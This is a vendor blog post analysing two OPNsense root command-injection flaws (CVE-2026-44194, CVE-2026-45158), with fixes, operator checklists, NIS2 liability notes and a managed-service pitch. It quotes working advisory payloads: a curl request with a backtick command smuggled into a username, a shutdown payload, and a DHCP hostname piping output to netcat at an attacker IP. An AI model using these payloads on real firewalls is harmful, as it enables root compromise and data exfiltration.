OPNsense 26.1.8: Two Critical RCE Bugs (CVE-2026-44194 & 45158), Four Significant CVEs in Twelve Days

OPNsense as a managed firewall — patches in hours, NIS2-compliant documentation — WZ-IT runs CVE monitoring, patch deployment and configuration hardening on our or your infrastructure. Mandatory MFA, permission audits and 24/7 response to critical advisories included. Book a kickoff call · CVE Monitoring · Server Audit

On 12 May 2026 the OPNsense team shipped version 26.1.8 with patches for two critical remote code execution flaws. CVE-2026-44194 (CVSS 9.1, GitHub advisory GHSA-f59w-m967-9rf6) gives any authenticated user with the user-management permission arbitrary code execution as root — via a creatively formatted email address used as a username. CVE-2026-45158 (Critical, GHSA-5rx3-w735-74wm) does the same thing through a manipulated DHCP hostname, triggered on the next DHCP renewal. Both proof-of-concepts are public.

Taken alone that would be a normal patch day. The context is the story: it is the third and fourth significant OPNsense flaw in twelve days. On 30 April, with OPNsense 26.1.7, the project had already shipped CVE-2026-44193 (CVSS 9.1, RCE via the XMLRPC library) and CVE-2026-44195 (CVSS 5.3, login lockout bypass). Earlier, on 9 April, a CVSS 8.2 flaw (LDAP injection at login, CVE-2026-34578, CERT-Bund warning WID-SEC-2026-1044) for versions prior to 26.1.6 had gone public. That makes five significant flaws in just over five weeks, three of them with CVSS at or above 9.

This piece walks through what the two new flaws actually do, what the cluster really says (spoiler: not that OPNsense is bad), and what it means for NIS2-regulated entities for which the German NIS2 transposition act has applied since 6 December 2025 without a transition period.

Table of contents

• CVE-2026-44194 and 45158 — the trigger
• How the attacks work technically
• Four flaws in twelve days: the timeline
• What the cluster actually says
• Immediate actions for OPNsense operators
• NIS2 and personal director liability
• Update of 12 October 2026
• Open source does not equal self-hosting
• Our approach at WZ-IT
• Further reading

CVE-2026-44194 and 45158 — the trigger

OPNsense is one of the most widely deployed open-source firewalls in Europe. It runs in thousands of SMB networks, datacentres, government environments and home labs - often as a sovereign and cost-conscious alternative to commercial appliances from Cisco, Fortinet, Sophos or Palo Alto. The Dutch company Deciso BV has sponsored the project since the 2015 fork from pfSense; the core is on GitHub. In May 2026 the project shipped two critical patches within twelve days - the second on 12 May with OPNsense 26.1.8.

CVE-2026-44194 — RCE via user management (CVSS 9.1)

GitHub advisory GHSA-f59w-m967-9rf6, reported by researcher sopex. The CVSS vector is CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H — network-based, low attack complexity, high-privilege user (user-management), no user interaction, Scope Changed.

The flaw is in core/src/opnsense/scripts/auth/sync_user.php. When a user is created or changed, the script calls pluginctl through a shell command and passes the username through unfiltered. While the UI and API validate plain usernames, OPNsense also accepts email addresses as usernames. The local part of an email address per RFC 5321 allows quoted strings, and inside quotes nearly every character is syntactically legal — including backticks, semicolons, pipes and parentheses.

From the advisory:

curl -k -u <api_key> \
  -H 'Content-Type: application/json' \
  -X POST http://<IP>/api/auth/user/add/ \
  -d '{"user": {"name": "\"`id>/conf/proof.txt`\"@example.com", ...}}'

# Result in /conf/proof.txt:
# uid=0(root) gid=0(wheel) groups=0(wheel)

Even a remote shutdown is possible: a username of the form "\"/sbin/shutdown${IFS}-p${IFS}now\"@example.com" powers the firewall off. ${IFS} substitutes a space, because plain spaces would be split by the command parser.

The Scope Changed attribute is where the real damage sits. A delegated account holding only user-management — typical for junior admins or helpdesk roles — reaches full system access.

CVE-2026-45158 — command injection via DHCP hostname

GitHub advisory GHSA-5rx3-w735-74wm, reported by Kchigo, rated Critical. The flaw lives in src/etc/inc/interfaces.inc, inside interface_dhcp_configure(). Any user with the page-interfaces permission can set a hostname for a DHCP interface in the UI. This hostname is written to /var/etc/dhclient.<device>.conf without sanitisation.

Example payload for the hostname:

test"; media "aa; id | nc <attacker-ip> <attacker-port>"; } /*

Resulting dhclient.conf (simplified):

interface "em0" {
  ...
  send host-name "test";
  media "aa; id | nc 1.2.3.4 4444";
  } /* ... rest commented out

On the next DHCP lease renewal, dhclient invokes the dhclient-script with media=aa; id | nc 1.2.3.4 4444 as an environment variable. The script runs that in an eval statement with ifconfig — the injected command lands in the shell context and runs as root. The trigger is either the "Apply" button in the UI, or a DHCP renewal at next reboot or lease expiry. That makes it a time bomb: an attacker who has placed a hostile config can simply wait for the natural renewal.

Both flaws are textbook CWE-78 (OS Command Injection) and CWE-88 (Argument Injection) — the OWASP family that has been considered well-understood for two decades. That they appear simultaneously in two independent paths inside an actively maintained codebase like OPNsense is striking.

How the attacks work technically

At the core both flaws are the same classic bug: failure to separate data and code. Only the entry surface differs.

Deep dive 1: the email trick in 44194

The tension is between specification and implementation. RFC 5321/5322 allows quoted strings in the local part of an email address — "hello world"@example.com is syntactically valid, as is "a;b"@example.com or "cmd"@example.com. OPNsense accepts email addresses as usernames (a deliberate design choice — many users prefer their email as a login). UI validation checks RFC conformance; that part is correct.

The flaw appears further down, at the shell call:

mwexecf('/usr/local/sbin/pluginctl -c user_changed ' . $username);

The . is PHP string concatenation. The username is appended directly to the command string, without argument separation, without escaping. The shell sees backticks and executes their content before pluginctl even starts. Because pluginctl runs as root, the injected code also runs as root.

The 26.1.8 patch uses %s notation with an argument array:

mwexecf('/usr/local/sbin/pluginctl -c user_changed %s', [$username]);

That is the textbook fix: $username is passed as a separate argument and not interpolated into the shell string. The lapse was not the missing UI-layer validation (that existed and was correct), but missing escaping at the point of use.

Deep dive 2: DHCP as a code execution vector in 45158

The second flaw follows the same pattern but is more complex to exploit. Where it sits: interface_dhcp_configure() builds the dhclient.conf and interpolates the hostname directly:

if (!empty($wancfg['dhcphostname'])) {
    $dhclientconf_hostname  = "send dhcp-client-identifier \"{$wancfg['dhcphostname']}\";\n";
    $dhclientconf_hostname .= "\tsend host-name \"{$wancfg['dhcphostname']}\";\n";
}

Naively read that is an innocuous string interpolation into a config file. In reality, dhclient.conf is not a pure data file. It can carry parameters (media, request, require, …) that are later passed to the dhclient-script as shell variables — and the script uses eval with the value. In "advanced mode" the hostname can be manipulated to break out of the send host-name statement and set a media parameter that carries shell code.

The lesson from both cases: configuration files are not passive data. Whenever downstream tools use their values in shell contexts, every input to the config file must be treated as if it were passed directly to a shell command.

Four flaws in twelve days: the timeline

What lifts this publication above day-to-day news is the context.

Three critical CVEs (44193, 44194, 45158) plus one medium (44195) plus the April information disclosure. Anyone running OPNsense in production in spring 2026 has had to ship two emergency patches in twelve days. Anyone who also skipped the early April patch is carrying five flaws.

What the cluster actually says

Before the reflex sets in that OPNsense must be "insecure": that would be the wrong reading. The situation shows two things at once.

What OPNsense does right. Patches available within hours to days. The GitHub Security Advisories contain full root-cause analyses with working PoCs — a level of transparency that commercial vendor disclosures rarely match. External researchers (sopex, Kchigo) get credit and work cooperatively. The release cycle is aggressive — half-yearly majors, biweekly minors. The codebase is fully on GitHub; every commit is auditable.

What self-hosting at this pace costs. Anyone self-hosting OPNsense in May 2026 has two emergency patches in twelve days, plus permission audits, plus API key rotation, plus log review. Without automated patch management and a documented response routine, at least one of those steps falls off the table. On a firewall, a missed flaw is not "one server among many" - it is the central observation point of the network, with access to TLS termination, VPN tunnels and auth logs.

What has changed structurally. Vulnerability discovery has accelerated dramatically in the past 18 months. AI-assisted code analysis makes it easier for researchers — and attackers — to find subtle flaws in older code paths. We see the same acceleration on Linux kernel flaws (Copy Fail, Dirty Frag, Pack2TheRoot — the last one AI-assisted), on cPanel CVE-2026-41940, on Cisco ASA / ArcaneDoor and on Ollama (Bleeding Llama). Open source has the advantage of fast, transparent patches; the downside is that deployment sits with the operator.

Immediate actions for OPNsense operators

1. Check the version. In the UI under System → Firmware → Status, or on the CLI:

opnsense-version

Vulnerable: every version ≤ 26.1.7, Community and Business Edition.

2. Apply the 26.1.8 update.

opnsense-update -vkr 26.1.8

Or in the UI under System → Firmware → Updates. For CARP-HA cluster setups: slave first, then master, with a short stability window between.

3. Audit permissions. In the UI under System → Access → Users, list users and check:

• Who has user-management? (Required for CVE-2026-44194)
• Who has page-interfaces? (Required for CVE-2026-45158)
• Who has XMLRPC API access with restore_config_section? (Required for the earlier CVE-2026-44193)

These permissions should follow least privilege and be assigned to a clearly defined group — no trainees, no external contractors, no "helpdesk full access" shared accounts.

4. Rotate API keys. Especially if the XMLRPC endpoint was reachable in May 2026. CVE-2026-44193 was partly exploitable through exposed API surfaces.

5. Review logs. Look for:

• Suspicious /api/auth/user/add calls with unusual usernames (backticks, quotes, pipes in the name)
• Unusual DHCP hostname changes with suspicious content
• Outbound connections from the firewall itself to unknown IPs (indicator of reverse shell)
• New cron jobs or persistence under /conf/ or /usr/local/etc/rc.conf.d/

6. Never expose the management UI on the public internet — segmented. Always true, all the more so now. Management access via VPN, geo-block for the management range, MFA for every admin account.

7. Take a config backup before patching. In the UI under System → Configuration → Backups. Keep a rollback option in case 26.1.8 carries a regression (not documented in the advisories, but not impossible for an emergency release).

8. Suspected compromise: reinstall. A compromised firewall with root-level access for the attacker is not reliably cleanable. Clean reinstall from the last trusted configuration backup, then rotate credentials of every system behind it.

NIS2 and personal director liability

Germany's NIS2 transposition act lands on the concrete OPNsense case at three points.

Article 21 — cybersecurity risk management. Mandates documented measures for essential and important entities, explicitly including vulnerability and patch management (letter e), cyber hygiene (letter g) and supplier risk management (letter d). A firewall running with known CVSS 9.1 flaws for weeks because no patch SLA exists fails these requirements.

Article 23 — notification obligations. Early notification within 24 hours and a full report within 72 hours for any "significant" security incident. Mass compromise via CVE-2026-44194 with data exfiltration or lateral movement from the firewall into the internal network crosses the threshold once auth logs or TLS termination have been abused.

Liability. Fines against the entity of up to 10 million euros or 2 percent of worldwide annual turnover (Section 65 BSIG). Management is liable to the company for culpably caused damage (Section 38 (2) BSIG), a civil-law internal liability. Anyone who can document that a patch workflow existed and was triggered on time is fine in the audit. Anyone who cannot is not.

The German NIS2 transposition act has applied since 6 December 2025 without a transition period. A pre-audit finding of "OPNsense unpatched two weeks after CVE-2026-44194 disclosure" will be a standard item in this year's NIS2 compliance reviews.

Update of 12 October 2026

• Timeline correction. The advisories for CVE-2026-44193 and CVE-2026-44195 were already published on 30 April 2026 together with OPNsense 26.1.7; the NVD published the CVE entries on 13 May 2026. The two patch releases were therefore twelve days apart, not seven. The title, timeline and heading have been corrected accordingly; we removed an earlier figure on scanning after the 2025 Cisco ASA disclosure for lack of a reliable source.
• More critical flaws after 26.1.8. CVE-2026-53581 (CVSS 9.0, path traversal in the NTP module with root write access) is fixed in 26.1.9 from 2 June 2026. A root code execution via the GeoIP alias importer (GHSA-wjqq-rfmm-v5h3, CVSS 9.9) and further high-severity flaws are fixed in 26.1.11 from 1 July 2026. All of them require an authenticated user with matching privileges.
• New major release. OPNsense 26.7 was released on 15 July 2026; as of 12 October 2026 the current version is 26.7.6 from 8 October 2026. Anyone still on 26.1.8 should upgrade to the current 26.7 release.
• No known exploitation. As of 12 October 2026, none of the OPNsense flaws mentioned here is listed in the CISA KEV catalog.

Open source does not equal self-hosting

One of the most useful clarifications from the current situation: open source does not mean you have to run the software yourself. Anyone who picked OPNsense for GDPR and sovereignty reasons keeps that sovereignty even when a third-party partner takes over operations — as long as the partner sits in the EU, runs on EU infrastructure and leaves configuration and patch ownership with the customer.

The alternative — moving back to a Cisco ASA or Fortinet FortiGate world after recent incidents (ArcaneDoor with the FIRESTARTER bootkit, which keeps even patched systems compromised) — is not obviously better. Commercial firewall vendor disclosures arrive later and are less transparent than the OPNsense advisories, patches often ship monthly instead of biweekly, and vendor lock-in is significantly deeper (see our Cisco ASA / ArcaneDoor analysis). The structural question does not resolve by switching to commercial appliances; it is merely shifted into a different risk class.

For anyone who wants to keep OPNsense without carrying the operations overhead, there is a pragmatic option: a managed service with a documented patch SLA.

Our approach at WZ-IT

We run OPNsense as a managed service on our own infrastructure in Germany or directly on customer hardware — depending on requirement. The standard scope:

Automated CVE monitoring. Daily checks against GitHub Security Advisories, CERT-Bund, BSI, NVD and vendor-specific feeds. Both 12 May CVEs would have been mitigated within hours for our customers — either by an immediate patch to 26.1.8 or by permission reduction pending verification. Every response is documented as an attachment to the NIS2 risk management dossier. More in our CVE monitoring service.

Hardening-aligned default configuration. Management UI never internet-exposed (access via VPN — typically WireGuard via NetBird), MFA mandatory for every admin account, granular role-based access with least privilege, no shared "helpdesk full access" account, separate read-only accounts for monitoring integration.

Configuration backups with object lock. Daily encrypted snapshots of the OPNsense configuration following our 3-2-1-1-0 strategy, with object-lock-immutable offsite replication. That secures both hardware-failure recovery and a return to a verifiably uncompromised configuration state in the incident case.

Migration from legacy firewall appliances. Cisco ASA, Fortinet FortiGate, Sophos XG/UTM, pfSense — we have a migration runbook and a parallel-operation path for the cutover for each starting point. For NIS2-relevant setups, the migration is documented as an attachment to the risk management dossier.

In the bleeding-edge case. Anyone currently sitting on an unpatched OPNsense ≤ 26.1.7 and unsure about possible compromise: we take over the incident response process at short notice (forensics, log preservation, permission audit, reinstall from pre-May backup), including NIS2-compliant documentation.

Further reading

• CVE monitoring as a managed service — automated response to GitHub advisories, NVD, CISA KEV, CERT-Bund and BSI feeds
• Server audit - one-off audit of a standard Linux instance covering security, updates, backups and operations, from €290 net. It applies to the Linux servers behind the firewall, not to the firewall itself.
• Managed OPNsense firewall operations - ongoing care of the firewall itself: updates, rule set and monitoring
• Linux patch management: process, deadlines and evidence - guide to the patch process for the servers behind the firewall
• Cisco ASA, ArcaneDoor & CVE-2025-20362 — a modern VPN stack — what makes edge appliances structurally different
• NetBird managed service — zero-trust VPN as an alternative or complement to firewall VPN
• Linux kernel vulnerabilities 2026 — patch management at board level — NIS2 context and personal director liability
• cPanel CVE-2026-41940 — mass compromise and sovereign hosting — same pattern in hosting panels
• Bleeding Llama (CVE-2026-7482) — same pattern in self-hosted AI
• Proxmox Backup Server offsite — ransomware-safe pull architecture — configuration backup strategy

Running OPNsense, pfSense or a commercial firewall and wondering whether your patch process would hold up to scrutiny? In an initial call we assess where it holds and where it does not. We can take on operating your OPNsense, CVE monitoring with automated evaluation of GitHub advisories, NVD, CISA KEV, CERT-Bund and BSI feeds - and, for the Linux servers behind the firewall, the server audit from €290 net.

Book an initial consultation

Sources

• GitHub advisory GHSA-f59w-m967-9rf6 (CVE-2026-44194)
• GitHub advisory GHSA-5rx3-w735-74wm (CVE-2026-45158)
• NVD: CVE-2026-44194 and CVE-2026-45158
• OPNsense security advisories
• OPNsense changelog 26.1.7 and 26.7
• BSIG Section 38: Duties of management (German)